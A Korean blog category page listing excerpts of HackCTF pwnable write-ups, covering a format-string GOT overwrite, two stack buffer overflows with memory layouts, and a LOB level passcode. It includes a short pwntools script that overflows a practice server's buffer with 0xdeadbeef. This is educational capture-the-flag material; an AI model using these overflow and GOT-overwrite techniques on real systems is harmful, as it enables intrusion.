분류 전체보기

Pwnable/HackCTF

Basic_FSB

이번 문제는 GOT Overwrite를 이용한 Format String Bug 문제이다. ida로 basic_fsb.dms바이너리파일을 분석한 결과를 보자. 디컴파일된 코드를 보면 우선 main 함수에 vuln() 함수가 호출되고 vuln() 함수에서는 s에 입력을 받고 printf 함수를 통하여 출력한다. 기존의 printf 사용과는 달리 FSB 환경(" " 사용 X)이 주어져있기 때문에 다음과 같이 해결할 수 있다. printf 함수의 GOT 주소를 쉘을 실행시키는 함수의 주소로 덮는다. GOT Overwrite 가 되었으면 printf(&format) 코드가 실행될 때 쉘실행 함수가 실행될 것이다. flag라는 멋있는 함수가 들어있다. 이제 이 함수의 주소를 구해보자. → 0x080485b4 FSB..

Pwnable/HackCTF

Basic_BOF #2

v5가 함수 포인터로 선언되어 있으므로 v5 자리에 쉘을 실행시키는 함수를 넣으면 될 것 같다. gdb로 분석하여 다른 함수들이 존재하는지 살펴보자. 이번 문제는 gdb와 ida로 분석해보면 함수 목록중에 shell 이라는 함수가 존재한다. 이 부분을 살펴보자. 역시 쉘을 실행시키는 함수가 있다. 이 함수의 주소를 찾아서 v5 자리에 덮어주면 쉘이 실행될 것이다. —————————— High Address | ret(4) | —————————— | sfp(4) | —————————— ← ebp | dummy | —————————— | v5 | —————————— ← ebp - 0xc | dummy | —————————— | s | —————————— Low Address ← ebp -0x8c from p..

Pwnable/HackCTF

Basic_BOF #1

gdb와 ida로 바이너리파일을 분석한 결과 메모리 구조는 다음과 같다. —————————— High Address | ret(4) | —————————— | sfp(4) | —————————— ← ebp | dummy | —————————— | v5 | —————————— ← ebp - 0xc | dummy | —————————— | s | —————————— Low Address ← ebp -0x34 payload 입력하여 다음과 같이 flag를 얻었다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3000) payload = "\x90"*40 + "\xef\xbe\xad\xde" r.sendline(payload) r.interactive()

Pwnable/LOB

[LOB] 20. DEATH_KNIGHT

passcode : got the life (NO DRAG, NO PASSCODE) LOB CLEAR

Lucvs
'분류 전체보기' 카테고리의 글 목록 (24 Page)